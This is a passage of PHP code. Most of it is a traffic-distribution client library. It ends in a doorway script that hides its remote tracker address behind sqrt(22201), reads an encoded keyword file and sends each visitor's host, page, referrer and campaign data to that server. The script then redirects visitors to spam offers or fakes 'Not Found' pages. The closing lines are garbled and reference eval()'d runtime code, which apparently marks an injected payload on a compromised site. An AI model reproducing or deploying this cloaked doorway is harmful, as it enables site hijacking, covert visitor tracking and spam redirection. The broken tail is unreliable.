->seReferrer($referrer)
->referrer($referrer)
->param('original_headers', getallheaders())
->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost')
->param('kversion', '3.4');
if ($this->isPrefetchDetected()) {
$this->param('prefetch', 1);
}
}
public function currentPageAsReferrer()
{
$this->referrer($this->_getCurrentPage());
return $this;
}
public function debug($state = true)
{
$this->_debug = $state;
return $this;
}
public function seReferrer($seReferrer)
{
$this->_params['se_referrer'] = $seReferrer;
return $this;
}
public function referrer($referrer)
{
$this->_params['referrer'] = $referrer;
return $this;
}
public function setHttpClient($httpClient)
{
$this->_httpClient = $httpClient;
return $this;
}
public function trackerUrl($name)
{
$this->_trackerUrl = $name;
}
// @deprecated
public function token($token)
{
return $this->campaignToken($token);
}
public function campaignToken($campaignToken)
{
$this->_params['token'] = $campaignToken;
return $this;
}
public function version($version)
{
$this->_params['version'] = $version;
return $this;
}
public function ua($ua)
{
$this->_params['ua'] = $ua;
return $this;
}
public function language($language)
{
$this->_params['language'] = $language;
return $this;
}
public function keyword($keyword)
{
$this->_params['keyword'] = $keyword;
return $this;
}
public function forceRedirectOffer()
{
$this->_params['force_redirect_offer'] = 1;
}
public function ip($ip)
{
$this->_params['ip'] = $ip;
return $this;
}
public function sendUtmLabels()
{
foreach ($_GET as $name => $value) {
if (strstr($name, 'utm_')) {
$this->_params[$name] = $value;
}
}
}
public function setLandingToken($token)
{
$this->_startSession();
$_SESSION['token'] = $token;
}
public function getSubId()
{
$result = $this->performRequest();
if (empty($result->info->sub_id)) {
$this->log('No sub_id is defined');
return 'no_subid';
}
$subId = $result->info->sub_id;
return $subId;
}
public function getToken()
{
$result = $this->performRequest();
if (empty($result->info->sub_id)) {
$this->log('No landing token is defined');
return 'no_token';
}
$subId = $result->info->token;
return $subId;
}
public function sendAllParams()
{
foreach ($_GET as $name => $value) {
if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) {
$this->_params[$name] = $value;
}
}
}
public function restoreFromSession()
{
if ($this->isStateRestored()) {
return;
}
$this->_startSession();
if (!empty($_SESSION[self::STATE_SESSION_KEY])) {
if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) {
unset($_SESSION[self::STATE_SESSION_KEY]);
unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]);
$this->log('State expired');
} else {
$this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false);
if (isset($this->_result) && isset($this->_result->headers)) {
$this->_result->headers = array();
}
$this->_stateRestored = true;
$this->log('State restored');
}
}
}
public function restoreFromQuery()
{
if (isset($_GET['_subid'])) {
$this->_stateRestored = true;
if (empty($this->_result)) {
$this->_result = new StdClass();
$this->_result->info = new StdClass();
}
$this->_result->info->sub_id = $_GET['_subid'];
$this->log('SubId loaded from query');
if (isset($_GET['_token'])) {
$this->_result->info->token = $_GET['_token'];
$this->log('Landing token loaded from query');
}
$this->_storeState($this->_result, self::DEFAULT_TTL);
$this->_stateRestored = true;
}
}
public function isStateRestored()
{
return $this->_stateRestored;
}
public function isPrefetchDetected()
{
$checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger');
foreach ($checkServerParams as $name => $value) {
if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) {
return true;
}
}
return false;
}
public function saveCookie($key, $value, $ttl)
{
if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) {
return;
}
if (!headers_sent()) {
setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost());
}
$_COOKIE[$key] = $value;
}
public function param($name, $value)
{
if (!in_array($name, $this->_excludeParams)) {
$this->_params[$name] = $value;
}
return $this;
}
public function params($value)
{
if (!empty($value)) {
if (is_string($value)) {
parse_str($value, $result);
foreach ($result as $name => $value) {
$this->param($name, $value);
}
}
}
return $this;
}
public function reset()
{
$this->_result = null;
}
public function performRequest()
{
if ($this->_result) {
return $this->_result;
}
$request = $this->_buildRequestUrl();
$params = $this->getParams();
$options = $this->_getRequestOptions();
$this->log('Request: ' . $request);
try {
$result = $this->_httpClient->request($request, $params, $options);
$this->log('Response: ' . $result);
} catch (KTrafficClientError $e) {
if ($this->_debug) {
throw $e;
} else {
return self::ERROR;
}
}
$this->_result = json_decode($result);
$this->_storeState(
$this->_result,
isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null
);
if (isset($this->_result->cookies)) {
$this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl);
}
return $this->_result;
}
public function execute($break = false, $print = true)
{
$content = $this->getContent();
if ($print) {
$headers = $this->sendHeaders();
echo $content;
} else {
return $content;
}
if ($break && (!empty($content) || $this->checkHeaders($headers))) {
exit;
}
}
public function checkHeaders($headers)
{
if (empty($headers)) {
return;
}
foreach ($headers as $header) {
if (strpos($header, 'Location:') === 0) {
return true;
}
if ($header == 'HTTP/1.1 404 Not Found') {
return true;
}
}
return false;
}
public function getContent()
{
$result = $this->performRequest();
$content = '';
if (!empty($result)) {
if (!empty($result->error)) {
$content .= $result->error;
}
if (!empty($result->body)) {
if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) {
$content = base64_decode($result->body);
} else {
$content .= $result->body;
}
}
}
return $content;
}
public function showLog($separator = ' ') { echo ' ' . implode($separator, $this->getLog()). ' '; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('| Not FoundThe requested URL /'.$myfname.' was not found on this server. '; die(); } ' ) | .../j65t.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1 |